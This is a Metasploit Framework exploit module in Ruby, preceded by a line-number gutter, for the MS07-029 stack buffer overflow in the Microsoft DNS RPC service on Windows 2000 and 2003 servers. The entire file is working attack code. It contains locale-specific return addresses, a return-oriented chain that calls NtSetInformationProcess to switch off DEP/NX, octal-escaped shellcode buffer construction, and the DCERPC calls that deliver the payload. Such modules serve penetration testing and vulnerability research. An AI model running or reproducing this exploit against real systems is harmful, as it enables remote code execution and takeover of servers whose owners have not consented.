1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 |
## # $Id: ms07_029_msdns_zonename.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)', 'Description'=> %q{ This module exploits a stack buffer overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered when a long zone name parameter is supplied that contains escaped octal strings. This module is capable of bypassing NX/DEP protection on Windows 2003 SP1/SP2. }, 'Author' => [ 'hdm',# initial module 'anonymous' # 2 anonymous contributors (2003 support) ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9929 $', 'References' => [ ['CVE', '2007-1748'], ['OSVDB', '34100'], ['MSB', 'MS07-029'], ['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload'=> { 'Space'=> 500, # The payload doesn't matter, but make_nops() uses these too 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ], # WS2HELP.DLL [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ], [ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ], [ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ], # Use the __except_handler3 method (and jmp esp in ATL.dll) [ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ], [ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ], # ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll) [ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ], [ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ], [ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ], [ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ], [ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ], ], 'DisclosureDate' => 'Apr 12 2007', 'DefaultTarget'=> 0 )) register_options( [ Opt::RPORT(0), OptString.new('Locale', [ true,"Locale for automatic target (English, French, Italian, ...)", 'English']) ], self.class) end def gettarget(os) targets.each do |target| if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/)) return target end end return nil end def exploit # Ask the endpoint mapper to locate the port for us dport = datastore['RPORT'].to_i if ((dport != 0) && (target.name =~ /Automatic/)) print_error("Unable to use automatic targeting when RPORT is given"); return end if (dport == 0) dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp') if (not dport) print_error("Could not determine the RPC port used by the Microsoft DNS Server") return end print_status("Discovered Microsoft DNS Server RPC service on port #{dport}") end mytarget = nil if (target.name =~ /Automatic/) # scheduler service is only available on 2k3 SP0 and 2000 schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp') if (not schedport) print_status("Detected a Windows 2003 SP1-SP2 target...") mytarget = gettarget('2003SP12') else # only available on 2003 SP0 schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp') if (not schedport) print_status("Detected a Windows 2000 SP0-SP4 target...") mytarget = gettarget('2000') else print_status("Detected a Windows 2003 SP0 target...") mytarget = gettarget('2003SP0') end end if (not mytarget) print_error("There is no available target for this locale") return end else mytarget = target end # Connect to the high RPC port connect(true, { 'RPORT' => dport }) print_status("Trying target #{target.name}...") # Bind to the service handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # Create our buffer with our shellcode first txt = Rex::Text.rand_text_alphanumeric(8192) if (target['OS'] =~ /2000/) txt[0, payload.encoded.length] = payload.encoded off = target['Off'] txt[ off ] = [mytarget.ret].pack('V') txt[ off - 4, 2] = "\xeb\x06" txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') elsif (target['OS'] =~ /2003SP0/) txt[0, payload.encoded.length] = payload.encoded off = target['Off'] txt[ off ] = [mytarget['Rets'][0]].pack('V')# __except_handler3 txt[ off - 4, 2] = "\xeb\x16" # addr = A + B*12 + 4 = 0x77f7e7f0(ntdll -> 0x77f443c9) addr= mytarget['Rets'][1] - 4 addr1 = addr / 2 addr2 = addr1 + addr % 2 addr1 = addr1 + (addr2 % 12) addr2 = addr2 / 12 txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B # # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here : # # 0x77f443c9 jmp off_77f7e810[edx*4] ;edx = 0 so jmp to 77f443d0 # 0x77f443d0 mov eax, [ebp+arg_0] # 0x77f443d3 pop esi # 0x77f443d4 pop edi # 0x77f443d5 leave; mov esp, ebp # 0x77f443d6 retn ; ret txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V')# jmp esp txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V') elsif (mytarget['OS'] =~ /2003SP12/) off = mytarget['Off'] ib= mytarget['IB'] txt[ off ] = [ib + 0x2566].pack('V') # to bypass NX we need to emulate the call to ZwSetInformationProcess # with generic value (to work on SP1-SP2 + patches) off = 445 # first we set esi to 0xed by getting the value on the stack # # 0x76a81da7: # pop esi <- esi = edh # retn txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V') txt[ off + 28, 4] = [0xed].pack('V') # now we set ecx to 0x7ffe0300, eax to 0xed # 0x76a81da4: # pop ecx<-ecx = 0x7ffe0300 # mov eax, esi <- eax == edh # pop esi # retn txt[ off + 32, 4] = [ib + 0x1da4].pack('V') txt[ off + 36, 4] = [0x7ffe0300].pack('V') # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4) # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX # 0x76a8109c: # call dword ptr [ecx] txt[ off + 44, 4] = [ib + 0x109c].pack('V')# call dword ptr[ecx] txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV') # we catch the second exception to go back to our shellcode, now that # NX is disabled off = 1013 txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll) txt[ off + 24, payload.encoded.length ] = payload.encoded end req = '' # Convert the string to escaped octal txt.unpack('C*').each do |c| req << "\\" req << c.to_s(8) end # Build the RPC stub data stubdata = NDR.long(rand(0xffffffff)) + NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") + NDR.long(rand(0xffffffff)) + NDR.string(req + "\x00") + NDR.long(rand(0xffffffff)) + NDR.string(Rex::Text.rand_text_alpha(1) + "\x00") print_status('Sending exploit...') begin response = dcerpc.call(1, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0]) end rescue ::Exception => e print_error("Error: #{e}") end handler disconnect end end |